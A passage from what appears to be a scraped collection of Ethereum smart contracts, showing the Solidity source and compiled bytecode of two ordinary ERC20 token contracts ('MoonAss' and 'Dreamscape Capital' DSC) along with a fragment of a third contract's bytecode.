ffffffffffffffffffffffffffffffffffff161415611624576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806125f96025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806124316023913960400191505060405180910390fd5b6116b58383836120d2565b6117218160405180606001604052806026815260200161250060269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118639092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117b681600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a4990919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611910576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156118d55780820151818401526020810190506118ba565b50505050905090810190601f1680156119025780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b61194a816000808581526020019081526020016000206000016120e290919063ffffffff16565b156119b25761195761139f565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b6119dd8160008085815260200190815260200160002060000161211290919063ffffffff16565b15611a45576119ea61139f565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b600080828401905083811015611ac7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600660019054906101000a900460ff16611b53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f5061757361626c653a206e6f742070617573656400000000000000000000000081525060200191505060405180910390fd5b6000600660016101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa611b9761139f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c7d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b611c89600083836120d2565b611c9e81600354611a4990919063ffffffff16565b600381905550611cf681600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a4990919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611e29576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806125d86021913960400191505060405180910390fd5b611e35826000836120d2565b611ea18160405180606001604052806022815260200161248360229139600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118639092919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ef98160035461214290919063ffffffff16565b600381905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600660019054906101000a900460ff1615611fec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b6001600660016101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25861203061139f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b6000612082836000018361218c565b60001c905092915050565b60006120b5836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61220f565b905092915050565b60006120cb82600001612232565b9050919050565b6120dd838383612243565b505050565b600061210a836000018373ffffffffffffffffffffffffffffffffffffffff1660001b6122b1565b905092915050565b600061213a836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612321565b905092915050565b600061218483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611863565b905092915050565b6000818360000180549050116121ed576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061240f6022913960400191505060405180910390fd5b8260000182815481106121fc57fe5b9060005260206000200154905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b600081600001805490509050919050565b61224e838383612409565b612256610e9a565b156122ac576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806126cd602a913960400191505060405180910390fd5b505050565b60006122bd838361220f565b61231657826000018290806001815401808255809150506001900390600052602060002001600090919091909150558260000180549050836001016000848152602001908152602001600020819055506001905061231b565b600090505b92915050565b600080836001016000848152602001908152602001600020549050600081146123fd576000600182039050600060018660000180549050039050600086600001828154811061236c57fe5b906000526020600020015490508087600001848154811061238957fe5b90600052602060002001819055506001830187600101600083815260200190815260200160002081905550866000018054806123c157fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050612403565b60009150505b92915050565b50505056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e647345524332303a207472616e7366657220746f20746865207a65726f2061646472657373416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e2061646d696e20746f206772616e7445524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332305072657365744d696e7465725061757365723a206d75737420686176652070617573657220726f6c6520746f20756e706175736545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e2061646d696e20746f207265766f6b6545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332305072657365744d696e7465725061757365723a206d7573742068617665206d696e74657220726f6c6520746f206d696e7445524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332305072657365744d696e7465725061757365723a206d75737420686176652070617573657220726f6c6520746f20706175736545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636520726f6c657320666f722073656c6645524332305061757361626c653a20746f6b656e207472616e73666572207768696c6520706175736564a26469706673582212200f5059d6440b91c42bd468a9a9b0712f9d149d1a4ebe3adb731df2491fdde6c364736f6c63430006060033
[ 38 ]
0xf2b85f4baae6f918fda0cd18ad5826b05802d917
// File: EIP20Interface.sol // Abstract contract for the full ERC 20 Token standard // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md pragma solidity ^0.4.21; contract EIP20Interface { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) public view returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) public returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) public returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) public view returns (uint256 remaining); // solhint-disable-next-line no-simple-event-func-name event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } // File: FuckWallStreet.sol /* Implements EIP20 token standard: https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md .*/ pragma solidity ^0.4.21; contract MoonAss is EIP20Interface { uint256 constant private MAX_UINT256 = 2**256 - 1; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. string public symbol; //An identifier: eg SBX function MoonAss( uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol ) public { balances[msg.sender] = _initialAmount; // Give the creator all initial tokens totalSupply = _initialAmount; // Update total supply name = _tokenName; // Set the name for display purposes decimals = _decimalUnits; // Amount of decimals for display purposes symbol = _tokenSymbol; // Set the symbol for display purposes } function transfer(address _to, uint256 _value) public returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); //solhint-disable-line indent, no-unused-vars return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { uint256 allowance = allowed[_from][msg.sender]; require(balances[_from] >= _value && allowance >= _value); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } emit Transfer(_from, _to, _value); //solhint-disable-line indent, no-unused-vars return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); //solhint-disable-line indent, no-unused-vars return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } }
0x6080604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100b4578063095ea7b31461014457806318160ddd146101a957806323b872dd146101d457806327e235e314610259578063313ce567146102b05780635c658165146102e157806370a082311461035857806395d89b41146103af578063a9059cbb1461043f578063dd62ed3e146104a4575b600080fd5b3480156100c057600080fd5b506100c961051b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101095780820151818401526020810190506100ee565b50505050905090810190601f1680156101365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015057600080fd5b5061018f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105b9565b604051808215151515815260200191505060405180910390f35b3480156101b557600080fd5b506101be6106ab565b6040518082815260200191505060405180910390f35b3480156101e057600080fd5b5061023f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106b1565b604051808215151515815260200191505060405180910390f35b34801561026557600080fd5b5061029a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061094b565b6040518082815260200191505060405180910390f35b3480156102bc57600080fd5b506102c5610963565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102ed57600080fd5b50610342600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610976565b6040518082815260200191505060405180910390f35b34801561036457600080fd5b50610399600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061099b565b6040518082815260200191505060405180910390f35b3480156103bb57600080fd5b506103c46109e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104045780820151818401526020810190506103e9565b50505050905090810190601f1680156104315780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561044b57600080fd5b5061048a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a82565b604051808215151515815260200191505060405180910390f35b3480156104b057600080fd5b50610505600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bdb565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105b15780601f10610586576101008083540402835291602001916105b1565b820191906000526020600020905b81548152906001019060200180831161059457829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b600080600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156107825750828110155b151561078d57600080fd5b82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8110156108da5782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b60016020528060005260406000206000915090505481565b600460009054906101000a900460ff1681565b6002602052816000526040600020602052806000526040600020600091509150505481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a7a5780601f10610a4f57610100808354040283529160200191610a7a565b820191906000526020600020905b815481529060010190602001808311610a5d57829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610ad257600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050929150505600a165627a7a72305820b67a023dc064e412358cf41d1d72d0783d851af3e09abd395a591b41c2fe69c30029
[ 38 ]
0xf2b87ce9c2ce65e786d6ffee0fdb9629ceff05f2
pragma solidity ^0.4.18; /** * Dreamscape Capital Token * Symbol: DSC */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract DSCToken is StandardToken { string public name; string public symbol; uint256 public decimals = 18; address public creator; function DSCToken(uint256 initialSupply, address _creator) public { require (msg.sender == _creator); creator=_creator; balances[msg.sender] = initialSupply * 10**decimals; totalSupply = initialSupply * 10**decimals; name = "Dreamscape"; symbol = "DSC"; Transfer(0x0, msg.sender, totalSupply); } // Multiple Transactions function transferMulti(address[] _to, uint256[] _value) public returns (bool success) { require (_value.length==_to.length); for(uint256 i = 0; i < _to.length; i++) { require (balances[msg.sender] >= _value[i]); require (_to[i] != 0x0); super.transfer(_to[i], _value[i]); } return true; } }
0x6060604052600436106100c5576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806302d05d3f146100ca57806306fdde031461011f578063095ea7b3146101ad57806318160ddd1461020757806323b872dd14610230578063313ce567146102a957806335bce6e4146102d2578063661884631461038457806370a08231146103de57806395d89b411461042b578063a9059cbb146104b9578063d73dd62314610513578063dd62ed3e1461056d575b600080fd5b34156100d557600080fd5b6100dd6105d9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561012a57600080fd5b6101326105ff565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610172578082015181840152602081019050610157565b50505050905090810190601f16801561019f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b857600080fd5b6101ed600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061069d565b604051808215151515815260200191505060405180910390f35b341561021257600080fd5b61021a61078f565b6040518082815260200191505060405180910390f35b341561023b57600080fd5b61028f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610795565b604051808215151515815260200191505060405180910390f35b34156102b457600080fd5b6102bc610b54565b6040518082815260200191505060405180910390f35b34156102dd57600080fd5b61036a60048080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050610b5a565b604051808215151515815260200191505060405180910390f35b341561038f57600080fd5b6103c4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c6e565b604051808215151515815260200191505060405180910390f35b34156103e957600080fd5b610415600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610eff565b6040518082815260200191505060405180910390f35b341561043657600080fd5b61043e610f48565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561047e578082015181840152602081019050610463565b50505050905090810190601f1680156104ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104c457600080fd5b6104f9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610fe6565b604051808215151515815260200191505060405180910390f35b341561051e57600080fd5b610553600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061120a565b604051808215151515815260200191505060405180910390f35b341561057857600080fd5b6105c3600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611406565b6040518082815260200191505060405180910390f35b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106955780601f1061066a57610100808354040283529160200191610695565b820191906000526020600020905b81548152906001019060200180831161067857829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156107d257600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561082057600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156108ab57600080fd5b6108fd82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461148d90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061099282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a690919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a6482600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461148d90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60055481565b60008083518351141515610b6d57600080fd5b600090505b8351811015610c63578281815181101515610b8957fe5b90602001906020020151600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610be057600080fd5b60008482815181101515610bf057fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1614151515610c1d57600080fd5b610c558482815181101515610c2e57fe5b906020019060200201518483815181101515610c4657fe5b90602001906020020151610fe6565b508080600101915050610b72565b600191505092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610d7f576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e13565b610d92838261148d90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610fde5780601f10610fb357610100808354040283529160200191610fde565b820191906000526020600020905b815481529060010190602001808311610fc157829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561102357600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561107157600080fd5b6110c382600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461148d90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061115882600160008673ffffffffffff